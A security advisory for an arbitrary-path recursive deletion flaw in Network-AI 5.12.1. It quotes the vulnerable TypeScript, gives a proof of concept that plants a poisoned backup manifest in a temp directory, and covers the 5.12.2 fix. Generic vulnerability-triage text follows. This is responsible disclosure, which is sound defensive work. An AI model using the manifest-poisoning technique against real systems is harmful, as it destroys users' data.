EnvironmentManager.listBackups() reads each backup's _manifest.json and trusts the manifest's path field. EnvironmentManager.pruneBackups() later passes that trusted entry.path directly to rmSync(entry.path, { recursive: true, force: true }).
An attacker who can place or modify a manifest inside data/<env>/.backups/<name>/_manifest.json can cause network-ai env backup prune --env <env> --keep <n> or any code path invoking pruneBackups() to recursively delete an arbitrary path accessible to the Network-AI process user. Confirmed in Network-AI 5.12.1.
listBackups() trusts manifest content from disk:
for (const name of readdirSync(backupsDir)) {
const manifest = join(backupsDir, name, '_manifest.json');
if (existsSync(manifest)) {
try {
const entry = JSON.parse(readFileSync(manifest, 'utf-8')) as BackupEntry;
entries.push(entry);
} catch { /* corrupt manifest, skip */ }
}
}
pruneBackups() uses the attacker-controlled entry.path as the deletion target:
const toDelete = all.slice(keep);
let deleted = 0;
for (const entry of toDelete) {
try {
rmSync(entry.path, { recursive: true, force: true });
deleted++;
} catch { /* ignore */ }
}
Default CLI reachability exists through network-ai env backup prune --env <env> --keep <n>.
Affected source evidence:
lib/env-manager.ts:505-523 — reads trusted backup entries from _manifest.json.lib/env-manager.ts:529-541 — recursively deletes entry.path.bin/cli.ts:464-472 — default CLI exposes backup pruning.This PoC uses only a temporary directory and deletes only a temporary file:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const mgr = new EnvironmentManager(path.join(base, 'data'), {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
fs.writeFileSync(path.join(base, 'victim.txt'), 'safe');
const backupsDir = path.join(base, 'data', 'dev', '.backups');
fs.mkdirSync(path.join(backupsDir, 'evil'), { recursive: true });
fs.writeFileSync(
path.join(backupsDir, 'evil', '_manifest.json'),
JSON.stringify({
backupId: 'evil',
env: 'dev',
timestamp: '2000-01-01T00:00:00.000Z',
sizeBytes: 0,
path: path.join(base, 'victim.txt'),
})
);
console.log(JSON.stringify({
before: fs.existsSync(path.join(base, 'victim.txt')),
deleted: mgr.pruneBackups('dev', 0),
after: fs.existsSync(path.join(base, 'victim.txt')),
}, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result: before is true, deleted is 1, and after is false, proving deletion occurred outside data/dev/.backups.
An attacker with write access to the Network-AI data directory can cause recursive deletion of arbitrary filesystem paths accessible to the Network-AI process user when backup pruning runs. This can delete project files, data directories, or other process-writable paths, causing data loss and denial of service. No RCE chain was confirmed.
Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
pruneBackups() no longer passes entry.path from the on-disk manifest to rmSync. The deletion path is recomputed from a format-validated entry.backupId, and a dirname containment check confines deletion to exactly one level under the backups directory. A poisoned manifest (e.g. "path": "/") is now inert.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
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Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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